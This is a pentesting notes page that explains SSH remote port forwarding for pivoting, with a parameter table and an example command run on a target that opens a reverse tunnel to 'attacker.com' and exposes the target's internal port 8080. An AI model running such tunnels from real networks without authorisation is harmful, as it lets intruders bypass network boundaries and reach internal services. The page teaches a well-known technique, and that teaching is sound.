> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/pivoting-port-forwarding/ssh-tunneling/remote-port-forwarding.md).

# Remote Port Forwarding

## **SSH Remote Port Forwarding (with Roles Explained)**

**Remote Port Forwarding** allows a **remote system (target)** to expose a local service to the **attacker** (your machine), via an SSH tunnel. This is extremely useful when you're inside a restricted network and want to let an external machine (like your attacking box) access something running **inside**.

***

### 🧠 **Scenario Overview**

| Role                            | IP Address       | Description                                                          |
| ------------------------------- | ---------------- | -------------------------------------------------------------------- |
| 🎯 **Target Machine**           | `10.0.0.10`      | Internal host initiating the SSH tunnel                              |
| 🧑‍💻 **Attacker Machine**      | `attacker.com`   | External machine with SSH server running (to receive the connection) |
| 🖥️ **Local Service on Target** | `localhost:8080` | Service the target wants to expose to the attacker                   |

***

### 🎯 **Objective**

You want the **attacker** machine to be able to access a **service running on the target**, like a local web app (`localhost:8080`), even though it's not exposed to the outside network.

***

### **Command Syntax (run on the *****Target Machine*****)**

```bash
ssh -N -R [attacker_port]:[target_local_ip]:[target_local_port] [user]@[attacker_ip]
```

***

### **Parameters Explained**

| Parameter           | Where It's Used       | Purpose                                                      |
| ------------------- | --------------------- | ------------------------------------------------------------ |
| `ssh`               | **Target**            | SSH command used to initiate the connection                  |
| `-N`                | **Target**            | No remote shell, just forwarding                             |
| `-R`                | **Target**            | Enables remote port forwarding                               |
| `attacker_port`     | **Attacker**          | Port on the attacker that will receive the forwarded traffic |
| `target_local_ip`   | **Target**            | Local IP on the target to forward from (usually `localhost`) |
| `target_local_port` | **Target**            | The port running the service (e.g., `8080`)                  |
| `user@attacker_ip`  | **Target → Attacker** | SSH credentials to connect to the attacker                   |

***

### **Example**

* A web server is running on the **target’s** `localhost:8080`
* You want to access it from your **attacker** machine on port `9090`

#### Run this command **on the target**:

```bash
ssh -N -R 9090:localhost:8080 user@attacker.com
```

***

### What Happens:

* The **target** connects to the **attacker**
* Port `9090` is opened on the **attacker**
* Any connection to `attacker.com:9090` is tunneled to `target:localhost:8080`

So now from the **attacker machine**, you can go to:

```
http://localhost:9090
```

...and you’ll see the service running on the **target’s port 8080**